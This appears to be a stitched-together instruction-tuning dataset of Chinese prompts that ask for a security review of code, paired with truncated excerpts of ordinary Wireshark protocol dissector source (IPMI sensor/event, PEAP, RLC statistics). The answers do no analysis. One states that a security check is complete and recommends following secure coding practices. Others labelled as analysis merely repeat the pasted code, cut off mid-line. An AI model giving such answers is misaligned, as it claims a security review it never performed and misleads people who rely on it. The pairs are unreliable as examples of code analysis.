        /* Only really meaningful if have a few frames spread over time...
           For now at least avoid dividing by something very close to 0.0 */
        if (elapsed_ms < 2.0) {
           return 0.0f;
        }

        // N.B. very small values will display as scientific notation, but rather that than show 0
        // when there is some traffic..
        return ((bytes * 8) / elapsed_ms) / 1000;
    }
    else {
        return 0.0f;
    }
}

// Stats kept for one channel.
typedef struct rlc_channel_stats {
    guint8   rlcMode;
    guint8   priority;
    guint16  channelType;
    guint16  channelId;

    g...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-ipmi-se.c
 * Sub-dissectors for IPMI messages (netFn=Sensor/Event)
 * Copyright 2007-2008, Alexey Neyman, Pigeon Point Systems <avn@pigeonpoint.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

#include "packet-ipmi.h"

void proto_register_ipmi_se(void);

/* Data types for sensor-specific info */
struct sensor_info;
typedef gboolean (*intrp_t)(proto_tree *, tvbuff_t *, const struct sensor_info *,
		guint32, guint32, guint32);

struct sensor_info {
	const value_string *offsets;
	intrp_t intrp2;
	intrp_t intrp3;
	const char *desc;
};

struct evtype_info {
	const value_string *byte2;
	const value_string *byte3;
	const value_string *offsets;
	intrp_t intrp2;
	intrp_t intrp3;
};

static gint ett_ipmi_se_evt_byte3 = -1;
static gint ett_ipmi_se_evt_evd_byte1 = -1;
static gint ett_ipmi_se_evt_evd_byte2 = -1;
static gint ett_ipmi_se_evt_evd_byte3 = -1;

static gint ett_ipmi_se_cp06_byte1 = -1;
static gint ett_ipmi_se_cp07_byte1 = -1;
static gint ett_ipmi_se_cp09_byte1 = -1;
static gint ett_ipmi_se_cp10_byte1 = -1;
static gint ett_ipmi_se_cp12_byte1 = -1;
static gint ett_ipmi_se_cp12_byte2 = -1;
static gint ett_ipmi_se_cp12_byte3 = -1;
static gint ett_ipmi_se_cp13_byte1 = -1;
static gint ett_ipmi_se_cp15_byte1 = -1;
static gint ett_ipmi_se_cp15_byte2 = -1;
static gint ett_ipmi_se_cp15_member = -1;
static gint ett_ipmi_se_cp15_byte11 = -1;

static gint ett_ipmi_se_00_byte2 = -1;
static gint ett_ipmi_se_01_byte2 = -1;
static gint ett_ipmi_se_10_action = -1;
static gint ett_ipmi_se_12_byte1 = -1;
static gint ett_ipmi_se_13_byte1 = -1;
static gint ett_ipmi_se_13_rev = -1;
static gint ett_ipmi_se_14_byte1 = -1;
static gint ett_ipmi_se_16_byte1 = -1;
static gint ett_ipmi_se_16_byte2 = -1;
static gint ett_ipmi_se_16_byte3 = -1;
static gint ett_ipmi_se_20_rq_byte1 = -1;
static gint ett_ipmi_se_20_rs_byte2 ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-ipmi-se.c
 * Sub-dissectors for IPMI messages (netFn=Sensor/Event)
 * Copyright 2007-2008, Alexey Neyman, Pigeon Point Systems <avn@pigeonpoint.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

#include "packet-ipmi.h"

void proto_register_ipmi_se(void);

/* Data types for sensor-specific info */
struct sensor_info;
typedef gboolean (*intrp_t)(proto_tree *, tvbuff_t *, const struct sensor_info *,
		guint32, guint32, guint32);

struct sensor_info {
	const value_string *offsets;
	intrp_t intrp2;
	intrp_t intrp3;
	const char *desc;
};

struct evtype_info {
	const value_string *byte2;
	const value_string *byte3;
	const value_string *offsets;
	intrp_t intrp2;
	intrp_t intrp3;
};

static gint ett_ipmi_se_evt_byte3 = -1;
static gint ett_ipmi_se_evt_evd_byte1 = -1;
static gint ett_ipmi_se_evt_evd_byte2 = -1;
static gint ett_ipmi_se_evt_evd_byte3 = -1;

static gint ett_ipmi_se_cp06_byte1 = -1;
static gint ett_ipmi_se_cp07_byte1 = -1;
static gint ett_ipmi_se_cp09_byte1 = -1;
static gint ett_ipmi_se_cp10_byte1 = -1;
static gint ett_ipmi_se_cp12_byte1 = -1;
static gint ett_ipmi_se_cp12_byte2 = -1;
static gint ett_ipmi_se_cp12_byte3 = -1;
static gint ett_ipmi_se_cp13_byte1 = -1;
static gint ett_ipmi_se_cp15_byte1 = -1;
static gint ett_ipmi_se_cp15_byte2 = -1;
static gint ett_ipmi_se_cp15_member = -1;
static gint ett_ipmi_se_cp15_byte11 = -1;

static gint ett_ipmi_se_00_byte2 = -1;
static gint ett_ipmi_se_01_byte2 = -1;
static gint ett_ipmi_se_10_action = -1;
static gint ett_ipmi_se_12_byte1 = -1;
static gint ett_ipmi_se_13_byte1 = -1;
static gint ett_ipmi_se_13_rev = -1;
static gint ett_ipmi_se_14_byte1 = -1;
static gint ett_ipmi_se_16_byte1 = -1;
static gint ett_ipmi_se_16_byte2 = -1;
static gint ett_ipmi_se_16_byte3 = -1;
static gint ett_ipmi_se_20_rq_byte1 = -1;
static gint ett_ipmi_se_20_rs_byte2 ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-peap.c
 * Routines for PEAP (Protected Extensible Authentication Protocol)
 * draft-kamath-pppext-peapv0
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <stdio.h>

#include <epan/packet.h>
#include <epan/eap.h>
#include <epan/expert.h>
#include <wsutil/pint.h>
#include <epan/proto_data.h>

void proto_register_peap(void);
void proto_reg_handoff_peap(void);

static int proto_peap = -1;
static int proto_eap = -1;

static dissector_handle_t peap_handle;
static dissector_handle_t eap_handle;

/*
  From draft-kamath-pppext-peapv0, sec 1.1

    0                   1                   2                   3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |     Code      |   Identifier  |            Length             | <-- NOT sent
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |     Type      |   Value...
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   This matches the format of an EAP header but...
    * 'Code', 'Identifier' and 'Length' are NOT sent over the wire
    * 'Code' and 'Identifier' are extracted from the *outer* EAP header
    * 'Length' is derived from the PEAP packet (ie. TLS data frame)
    * ...when 'Type' is 33, the full EAP header is sent
*/

#define EAP_TLS_FLAGS_OFFSET   5
#define EAP_TLS_FLAGS_VERSION  0x07 /* mask */

static int
dissect_peap(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)
{
  int version;
  int len;
  int offset = 0;
  tvbuff_t *eap_tvb, *eap_len_tvb, *next_tvb;
  guchar *eap_len_buf;
  guint32 tls_group = pinfo->curr_proto_layer_num << 16;

  col_set_str(pinfo->cinfo, COL_PROTOCOL, "PEAP");
  col_clear(pinfo->cinfo, COL_INFO);

  len = tvb_reported_length(tvb);

  eap_tvb = (tvbuff_t *)p_get_proto_data(pinfo->pool, ...